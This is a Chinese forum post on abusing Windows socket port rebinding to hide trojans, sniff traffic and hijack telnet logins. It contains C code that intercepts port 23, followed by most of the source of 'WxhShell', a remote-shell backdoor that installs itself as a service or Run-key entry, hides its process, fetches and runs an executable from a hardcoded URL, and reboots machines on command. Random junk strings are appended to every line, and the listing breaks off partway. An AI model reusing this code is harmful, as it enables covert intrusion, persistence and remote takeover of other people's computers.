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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: _ QOZ sEe  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); NQHz<3S[  
pKG<Nvgz&  
  saddr.sin_family = AF_INET; )RgGcHT@  
q!~ -(&S  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); bpAv1udX-W  
Gbpw5n;e  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); *jq7X  
aW_oD[l  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Y$K!7Kq  
9p* gU[  
  这意味着什么?意味着可以进行如下的攻击: am1[9g8L  
*A'FC|\  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 [(kB 5 a  
qFX~[h8i+  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) +avMX&%  
EI>l-N2  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 @oP_;G  
y;cUl, :v  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  e>rRTN  
N7r_77%m0  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 O)|P,?  
f>o,N{|  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 O4 3YY2  
6DTTV66  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ocbB&  
Jq.lT(E8D  
  #include @:0ddb71  
  #include wFh8?Z3u_  
  #include Am0{8 '  
  #include    wm{3&m  
  DWORD WINAPI ClientThread(LPVOID lpParam);   EJ}!F?o  
  int main() UV 4>N  
  { +6$g! S5{  
  WORD wVersionRequested; dC e4u<so\  
  DWORD ret; W W2Ob*  
  WSADATA wsaData; WL,&-*JAW  
  BOOL val; hf/2vt m  
  SOCKADDR_IN saddr; `O?TUQGR  
  SOCKADDR_IN scaddr; 0 S_':r   
  int err; _-!sBK+F  
  SOCKET s; |s#'dS;  
  SOCKET sc; kd:$oS_*s  
  int caddsize; .o1^Oh  
  HANDLE mt; &c(WE RW?-  
  DWORD tid;   4(neKr5\#  
  wVersionRequested = MAKEWORD( 2, 2 ); 4to% `)]  
  err = WSAStartup( wVersionRequested, &wsaData ); .roqEasu8  
  if ( err != 0 ) { jc[_I&Oc_  
  printf("error!WSAStartup failed!\n"); iqQUtE]E_  
  return -1; xqXDxJlns  
  } /&& 2u7*  
  saddr.sin_family = AF_INET; "LYh7:0s!k  
   o*x*jn:hm  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Om'+]BBN  
E5el?=,i  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); I$NhXZ)KT  
  saddr.sin_port = htons(23); ]eQV ,Vt  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) P1b'%  
  { ML-)I&>tT  
  printf("error!socket failed!\n"); Mypc3  
  return -1; (>6*#9#p  
  } L%v^s4@  
  val = TRUE; QIN."&qC^  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Q$obOEr2(  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) W"{v2xi  
  { w{~+EolK  
  printf("error!setsockopt failed!\n"); k4qp u=@U  
  return -1; [S.ZJUns  
  } i,V;xB2  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;  $Y=T&O  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 LA_3=@2.H  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Tmh(= TB'  
T5Q{{@Q  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 4`Q3v4fOF  
  { 8ul&x~2;X  
  ret=GetLastError(); ze_{=Cv&Y  
  printf("error!bind failed!\n"); !zPG? q]3  
  return -1; )!g{Sbl  
  } @)kO=E d  
  listen(s,2); d!KsNkk  
  while(1) pA{ 5V9  
  { WwC 5!kZ  
  caddsize = sizeof(scaddr); Qr1e@ =B  
  //接受连接请求 wU#F_De)R:  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Auy_K?he]  
  if(sc!=INVALID_SOCKET) c4_`Ew^k  
  { QDpEb=|S  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 7nbB^2  
  if(mt==NULL) 0Io'bF  
  { Lokl2o `  
  printf("Thread Creat Failed!\n"); pLMRwgzr  
  break; K"<PGOF  
  } AamVms  
  } b{fQ|QD{^E  
  CloseHandle(mt); C^ Q tSha  
  } V\V)<BARe  
  closesocket(s); [2ax>Yk$  
  WSACleanup(); -XRn~=5   
  return 0; +(uYwdcN  
  }   !*2%"H*  
  DWORD WINAPI ClientThread(LPVOID lpParam) Soie^$ Y  
  { b':|uu*/  
  SOCKET ss = (SOCKET)lpParam; 64-#}3zL  
  SOCKET sc; H+ h07\? %  
  unsigned char buf[4096]; B?$ "\;&  
  SOCKADDR_IN saddr; )2,eFNB#n  
  long num; "EU{8b  
  DWORD val; IV lf=k  
  DWORD ret; sH[ -W-  
  //如果是隐藏端口应用的话,可以在此处加一些判断 fYE(n8W3  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   47r_y\U h  
  saddr.sin_family = AF_INET; n.hv!W0  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); @"T"7c?Cv  
  saddr.sin_port = htons(23); K78rg/`  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) DF6c|  
  { i&8FBV-  
  printf("error!socket failed!\n"); T32BnmB{  
  return -1; vIvVq:6_3  
  } A]L%dFK  
  val = 100; iYnEwAoN;  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) VF&Z%O3n  
  { VL' fP2  
  ret = GetLastError(); Yxv9  
  return -1; v#=`%]mL  
  } ,]}?.g  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) M4ozTp<$O  
  { $8l({:*q0  
  ret = GetLastError(); g+-;J+X8  
  return -1; {{C`mgC  
  } $3D'4\X~?  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) X0{/ydG F8  
  { /ug8]Lo0  
  printf("error!socket connect failed!\n"); XW JwJ  
  closesocket(sc); y}C`&nW[=  
  closesocket(ss); M8k"je7`s  
  return -1; S' dV>m`  
  } "l={)=R  
  while(1) }AZc8o-  
  { V8=Y@T,  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 vi@Lz3}::  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 p2PY@d}}.  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 `P Xz  
  num = recv(ss,buf,4096,0);  n6F/Ac:  
  if(num>0) bYe;b><G  
  send(sc,buf,num,0); a:~@CUD >I  
  else if(num==0) !h&g7do]Z  
  break; E2GGEKrW  
  num = recv(sc,buf,4096,0); W"L&fV+3  
  if(num>0) $- +/$!  
  send(ss,buf,num,0); 93[DAs  
  else if(num==0) X5YiFLH>y\  
  break; Qy#)Gxp  
  } 8\<jyJ  
  closesocket(ss); ,? E&V_5  
  closesocket(sc); `SO|zz|'  
  return 0 ; n(~\l#o@  
  } -{h   
=Cqv=   
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========================================================== bIt=v)%$  
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下边附上一个代码,,WXhSHELL nZR!*$} A  
Z?MoJ{.!?R  
========================================================== {Hr$wa~  
3+MB5 T  
#include "stdafx.h" }~Q"s2  
iq?#rb P#I  
#include <stdio.h> *cWmS\h|  
#include <string.h> F?Ju?? O  
#include <windows.h> Kr  L>FI  
#include <winsock2.h> h%d^Gq~  
#include <winsvc.h> N132sN2   
#include <urlmon.h> X7UBopm&  
us?&:L|!=  
#pragma comment (lib, "Ws2_32.lib") ;??ohA"{5  
#pragma comment (lib, "urlmon.lib") vUQFQ  
Z.&\=qiY  
#define MAX_USER   100 // 最大客户端连接数 g1DmV,W-Q  
#define BUF_SOCK   200 // sock buffer b hjZ7=  
#define KEY_BUFF   255 // 输入 buffer ^ L:cjY/  
yI:# |w|  
#define REBOOT     0   // 重启 0Flu\w/+P  
#define SHUTDOWN   1   // 关机 Z+s%;f;  
=4C}{IL  
#define DEF_PORT   5000 // 监听端口 ScnY3&rc  
.M|>u_<Qd  
#define REG_LEN     16   // 注册表键长度 $%2_{m_K:p  
#define SVC_LEN     80   // NT服务名长度 Iyk6=&?j  
HgJb4Fi  
// 从dll定义API ~M ?|Vn  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ZIxRyo-i  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); vTr34n  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); upn8n vy4(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); T!q_/[i~7  
P1 +"v*  
// wxhshell配置信息 <2Y0{ 8)  
struct WSCFG { T)u4S[ &  
  int ws_port;         // 监听端口 V:K;] h*!  
  char ws_passstr[REG_LEN]; // 口令 <SXZx9A!  
  int ws_autoins;       // 安装标记, 1=yes 0=no _ P ,@  
  char ws_regname[REG_LEN]; // 注册表键名 5P^U_  
  char ws_svcname[REG_LEN]; // 服务名 A-E+s~U8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _pDjg%A>n  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Unl?fXI  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 yM$J52#d#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Z-Wfcnk  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Vk<k +=7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]Bu DaxWN  
a#(U2OP  
}; 2PC5^Ni/9@  
B#N7qoi  
// default Wxhshell configuration 4_Rdp`x#J  
struct WSCFG wscfg={DEF_PORT, 6OUvrfC(H  
    "xuhuanlingzhe",  0%Q9}l#7  
    1, xe:' 8J6L  
    "Wxhshell", #a}N"*P  
    "Wxhshell", eqzTQen8q  
            "WxhShell Service", tjzA)/T,4  
    "Wrsky Windows CmdShell Service", \ XH@b6{  
    "Please Input Your Password: ", )LFD6\z1pl  
  1, V:^H4WvL\W  
  "http://www.wrsky.com/wxhshell.exe", ;w6s<a@Zh  
  "Wxhshell.exe" 8]*Q79  
    }; O k(47nC  
S=9E@(]  
// 消息定义模块 `ut)+T V  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; o<\6Rm  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3"i% {  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 26nBBS,;  
char *msg_ws_ext="\n\rExit."; HWtPLlNt  
char *msg_ws_end="\n\rQuit."; oI$V|D3 9  
char *msg_ws_boot="\n\rReboot..."; zzJ^x8#R  
char *msg_ws_poff="\n\rShutdown..."; -uR{X G. D  
char *msg_ws_down="\n\rSave to "; 75Fp[Q-  
@ R'E?|  
char *msg_ws_err="\n\rErr!"; Z[;#|$J  
char *msg_ws_ok="\n\rOK!"; 9/46%=&]  
yV_ L/,6}D  
char ExeFile[MAX_PATH]; j;0ih_Z@4W  
int nUser = 0; kgc.8  
HANDLE handles[MAX_USER]; aJQXJ,>Lv  
int OsIsNt; \9jpCNdJ  
\(9p&"Q-  
SERVICE_STATUS       serviceStatus; sA2o2~AmM  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $~hdm$  
R<j<. h  
// 函数声明 A:xb!= 2  
int Install(void); a@k.$  
int Uninstall(void); 8l?w=)Qy  
int DownloadFile(char *sURL, SOCKET wsh); wz@/5c/u  
int Boot(int flag); 5=.7\#D  
void HideProc(void); z (#Xca  
int GetOsVer(void); Xa*?<(^`  
int Wxhshell(SOCKET wsl); ~FNPD'`t  
void TalkWithClient(void *cs); #mTMt;x  
int CmdShell(SOCKET sock); FLEg0/m0  
int StartFromService(void); {6YxN&  
int StartWxhshell(LPSTR lpCmdLine); -_w~JCx  
<tU :U<ea]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @2|G|C/]O}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !xJFr6G~8  
/J8o_EV  
// 数据结构和表定义 kFnUJM$r  
SERVICE_TABLE_ENTRY DispatchTable[] = Q%$i@JH`m  
{ B*BHF95!  
{wscfg.ws_svcname, NTServiceMain}, "1CGO@AXS  
{NULL, NULL} O{*GW0}55  
}; ;]"n?uo  
y!BB7cK6  
// 自我安装 MsSoX9A{D  
int Install(void) BMe72  
{ @ikUM+A {  
  char svExeFile[MAX_PATH]; {\F2*P  
  HKEY key; J;7s/YH^  
  strcpy(svExeFile,ExeFile); @gY'YA8m  
@ > cdHv  
// 如果是win9x系统,修改注册表设为自启动 kS[Dy$AB/2  
if(!OsIsNt) { /S/tE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N.k+AQb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &boj$ k!g[  
  RegCloseKey(key); zmdWVFV v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fWqv3nY^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z`;&bg\8  
  RegCloseKey(key); 7B VXBw  
  return 0; HarYV :  
    } P~n8EO1r  
  } o8iig5bp  
} Ixyvn#ux )  
else { |qQ{8T%)  
AfuXu@UZ_/  
// 如果是NT以上系统,安装为系统服务 p3{x<AO/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @G7w(>_T3  
if (schSCManager!=0) ;*n_N!v  
{ |;X?">7NW  
  SC_HANDLE schService = CreateService #_JA5W+E  
  ( ^mS.HT=X  
  schSCManager, qr7 X-[&  
  wscfg.ws_svcname, t$ACQ*O  
  wscfg.ws_svcdisp, "``W6W-(  
  SERVICE_ALL_ACCESS, NKupOJJq  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +e&m#d  
  SERVICE_AUTO_START, *1 n;p)K  
  SERVICE_ERROR_NORMAL, Q$/V)0  
  svExeFile, ~| 4U@  
  NULL, 82G lbd)  
  NULL, T b5$  
  NULL, V[BY/<z)A  
  NULL,  muK'h`  
  NULL BnKP7e  
  ); ~.\73_M=A  
  if (schService!=0) 0BbiQXU  
  { 6R$ F =MB  
  CloseServiceHandle(schService); 34/]m/2NZK  
  CloseServiceHandle(schSCManager); ;:#?~%7>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .( TQ5/ ~  
  strcat(svExeFile,wscfg.ws_svcname); L:|X/c9r[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {[YqGv=fF  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0A #9C09  
  RegCloseKey(key); XhHel|!g:  
  return 0; 2)HxW}o  
    } Uxj<x`<1x  
  } sw3:HNG=  
  CloseServiceHandle(schSCManager); j`[yoAH  
} knNhN=hG+  
} glOqft&>`  
c<JM1  
return 1; Mhu53DT  
} 60U{ e}Mkb  
-Fp!w"=T  
// 自我卸载 L V[66<T  
int Uninstall(void) !:g>CDA  
{ yi AG'[  
  HKEY key; }(f.uN_v  
6ywnyh  
if(!OsIsNt) { P!)7\.7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~I/>i&|M1  
  RegDeleteValue(key,wscfg.ws_regname); \ pe[V~F  
  RegCloseKey(key); jFJW3az@z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u@:=qd=\  
  RegDeleteValue(key,wscfg.ws_regname); s&_IWala  
  RegCloseKey(key); X1 0"G~0  
  return 0; [i<$ZP  
  } vJ'yz#tl9  
} 8zWBXV  
} #LrCx"_&  
else { @> +^<  
iaaH9X %  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @]y{M;  
if (schSCManager!=0) "S{6LWkD  
{ YQB]t=Ha  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); x]%4M\T``  
  if (schService!=0) "x=@ ,*Bk  
  { ^%4( %68  
  if(DeleteService(schService)!=0) { [6RV'7`Abj  
  CloseServiceHandle(schService); _>_y@-b  
  CloseServiceHandle(schSCManager); ]Nd'%M  
  return 0; "PDSqYA  
  } gR_b~ ^  
  CloseServiceHandle(schService); UtGd/\:  
  } 3' :[i2[  
  CloseServiceHandle(schSCManager); i}$N&  
} MSYLkQ}_b  
} v%l|S{>(  
#LNB@E  
return 1; EDa08+Y  
} :[X }.]"  
|V~(mS747:  
// 从指定url下载文件 {7M4SC@p|  
int DownloadFile(char *sURL, SOCKET wsh) 1vR#FE?  
{ YRM6\S)py  
  HRESULT hr; |qudJucV  
char seps[]= "/"; v_1JH<GJ-  
char *token; R2H\;N  
char *file; xUYN\Pc-  
char myURL[MAX_PATH]; 9OJ\n|,(  
char myFILE[MAX_PATH]; sVm'9k  
|\r\i&|g1  
strcpy(myURL,sURL); Q&U= jX  
  token=strtok(myURL,seps); CsST-qxg  
  while(token!=NULL) ;KjMZ(Iil1  
  { 4S{l>/I  
    file=token; UXdC<(vK  
  token=strtok(NULL,seps); 0wE8Gm G  
  } FUTyx"   
PRf\6   
GetCurrentDirectory(MAX_PATH,myFILE); @}rfY9o'  
strcat(myFILE, "\\"); }"; hz*a  
strcat(myFILE, file); nrD=[kc!w  
  send(wsh,myFILE,strlen(myFILE),0); ~zOU/8n ,F  
send(wsh,"...",3,0); 2Z1(J% 7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); NNpa69U  
  if(hr==S_OK) b!tZbX#  
return 0; TX5/{cHd  
else T6?d`i i1  
return 1; FVLA^$5c  
@Oc}\Rg  
} l=OC?d*m  
[`n yq)  
// 系统电源模块 Z.Y8z#[xg  
int Boot(int flag) lV*&^Q8.  
{ 6 VJj(9%  
  HANDLE hToken; [z t&8g  
  TOKEN_PRIVILEGES tkp; 9Qm{\  
NZ? =pfK\s  
  if(OsIsNt) { Vh-h{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |P?B AWYeQ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); O#Ax P}  
    tkp.PrivilegeCount = 1; mp$II?hZ*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; oM7-1O  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @[ N~;>  
if(flag==REBOOT) { *} 4;1OVT  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2F)OyE  
  return 0; K?<Odw'k  
} :z5I bas:  
else { C2%3+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) wx7>0[zE  
  return 0; pv.),Iv-68  
} `)_FO]m}jS  
  } _5 -"<  
  else { ;Cpm3a t  
if(flag==REBOOT) { jS)-COk  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) E*]L]vR  
  return 0; xo3)ds X  
} NY w(hAPv  
else { C 5!6k1TcE  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) KUV{]?'  
  return 0; JugQ +0  
} 9GOyVKUv  
} u"3cSuqy  
*J- jr8&  
return 1; ,$*klod  
} R5~m"bE  
uB9+E%jOdQ  
// win9x进程隐藏模块 ?AH<y/i<Y  
void HideProc(void) P=i |{vv(  
{ N1+]3kt ~  
z>q_]U0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); v<4X;4p^  
  if ( hKernel != NULL ) ~#xRoBy3  
  { D7oV&vXg  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); U4/$4.'NQ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); XBBRB<l)  
    FreeLibrary(hKernel); /FXfu  
  } pEP.^[  
qTex\qP  
return; -M9 4 F  
} vdM\scO:  
kF7Al]IgT  
// 获取操作系统版本 >l[N]CQ  
int GetOsVer(void) tt91)^GdYa  
{ J)+eEmrU  
  OSVERSIONINFO winfo; 247>+:7z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Sy~Mh]{E  
  GetVersionEx(&winfo); my0->W%L  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1Sr}2@>  
  return 1; ]].21  
  else y%AJ>@/;  
  return 0; U3QnWPt}>  
} W>49,A,q  
&c !-C_L 2  
// 客户端句柄模块 #v<+G=r*O  
int Wxhshell(SOCKET wsl) w9BH>56/"  
{ u?i1n=Ne  
  SOCKET wsh; HBu>BSv:  
  struct sockaddr_in client; .})8gL7 V  
  DWORD myID; `w }"0+V  
.:/@<V+K  
  while(nUser<MAX_USER) lX7^LB  
{ e%\KI\u  
  int nSize=sizeof(client);  0]HI c  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); + u+fEg/A  
  if(wsh==INVALID_SOCKET) return 1; VP&lWPA}\$  
9p<l}h7g  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |@F<ajlV  
if(handles[nUser]==0) P{ o/F  
  closesocket(wsh); Dr<Bd;)  
else UK/k?0  
  nUser++; |Ca n  
  } I`l< }M  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); o=}?aC3I  
'UKB pm/  
  return 0; %,BJkNV  
} :KwYuwYS  
5q[@N  J  
// 关闭 socket >?tpGEZ\  
void CloseIt(SOCKET wsh) 2vLn#  
{ z#b6 aP  
closesocket(wsh); 5{UGSz 1  
nUser--; ,==lgM2V>  
ExitThread(0); L`BLkDm  
} t<-Iiq+tL  
|ONOF  
// 客户端请求句柄 ? p]w_l  
void TalkWithClient(void *cs) QQcJUOxT9  
{ 4U3T..wA  
O\?ei+(H7  
  SOCKET wsh=(SOCKET)cs; Im2g2 ]  
  char pwd[SVC_LEN]; \W4SZR%u  
  char cmd[KEY_BUFF]; MWB?V?qPSC  
char chr[1]; rz(DZV  
int i,j; 2B|3`trY4x  
RAvV[QkT  
  while (nUser < MAX_USER) { lxbZM9A2  
Xv9C D  
if(wscfg.ws_passstr) { q?wB h^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); oPi)#|jcb  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `y4+OXZ^  
  //ZeroMemory(pwd,KEY_BUFF); ~b e&T:7.  
      i=0; IaW8  
  while(i<SVC_LEN) { 1cPi>?R:  
J?{uG8)  
  // 设置超时 K:y>wyzl  
  fd_set FdRead; q^gd1K<N  
  struct timeval TimeOut; Bi]%bl>%  
  FD_ZERO(&FdRead); >%{h_5  
  FD_SET(wsh,&FdRead); r*$KF!-dg  
  TimeOut.tv_sec=8; Zu!3RN[lp?  
  TimeOut.tv_usec=0; zk?lNs  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); I3A](`  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); e_Y>[/Om  
9K)2OX;$w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w\a\I  
  pwd=chr[0]; <~3@+EEM  
  if(chr[0]==0xd || chr[0]==0xa) { $uboOfS83G  
  pwd=0; ?P}7AF A(W  
  break; rLp0VKPe  
  } 7p|Pv;wp|  
  i++; o+&/ N-t  
    } |3s-BKbN4  
? ;\YiOTda  
  // 如果是非法用户,关闭 socket {jbOcx$t  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); g=b 'T-  
} LqW~QEU(  
jQc$>M<"o  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ugOcK Gf  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pj'Yv  
VsFRG;:\U  
while(1) { s3oK[:/  
IU&n!5d$)|  
  ZeroMemory(cmd,KEY_BUFF); ~u.CY  
l{6fR(d ?  
      // 自动支持客户端 telnet标准   -K PbA`j+  
  j=0;  $33wK  
  while(j<KEY_BUFF) { ?bY'J6n.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nD|Bo 9  
  cmd[j]=chr[0]; pLNv\M+  
  if(chr[0]==0xa || chr[0]==0xd) { Ak&eGd$d  
  cmd[j]=0; !M\8k$#"n  
  break; .- uH ax0  
  } kowBB0  
  j++; WUZusW5s  
    } RWK|?FD\<  
SK#; /fav6  
  // 下载文件 n}0[EE!  
  if(strstr(cmd,"http://")) { x+47CDDu3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5V8WSnO  
  if(DownloadFile(cmd,wsh)) +uLl3(ml  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zg_ fec~6q  
  else g=Rl4F]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &i$p5  
  } RX\%R  
  else { s: pmB\  
W:' H&`0  
    switch(cmd[0]) { &( aw  
  M*$#j|  
  // 帮助 SN' j?-  
  case '?': { !o1+#DL)MU  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Z7J8%ywQ  
    break; [2ez"4e  
  } c>mTd{Abi  
  // 安装 lp+Uox  
  case 'i': { t}w<xe  
    if(Install()) NU"Ld+gw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5bBY[qp  
    else ,%6!8vX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %OE (?~dq  
    break; fAYp\ k  
    } 9(eTCe-~6  
  // 卸载 wN Mf-~  
  case 'r': { rrz^LD  
    if(Uninstall()) > >%m,F[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bS7%%8C  
    else 1)Z4 (_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^Q,-4\ec  
    break; .|UIZwW0  
    } t.X8c/,;g  
  // 显示 wxhshell 所在路径 DXyRNE<G[C  
  case 'p': { &65I 6  
    char svExeFile[MAX_PATH]; [SJ3FZ<  
    strcpy(svExeFile,"\n\r"); l_$ le  
      strcat(svExeFile,ExeFile); 46 [k9T  
        send(wsh,svExeFile,strlen(svExeFile),0); r|av|7R  
    break; cfSQqH  
    } wjy<{I  
  // 重启 ?hBjq  
  case 'b': { :yxP3e%rp  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "vvv@sYxi  
    if(Boot(REBOOT)) wNvq['P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >v#6SDg  
    else { R/EpfYOX  
    closesocket(wsh); zoibinm}Eg  
    ExitThread(0); Fzmc#?  
    } Xx,Rah)X3  
    break; =[do([A  
    } o#uhPUZ  
  // 关机 /JjSx/  
  case 'd': { {iXQUj  
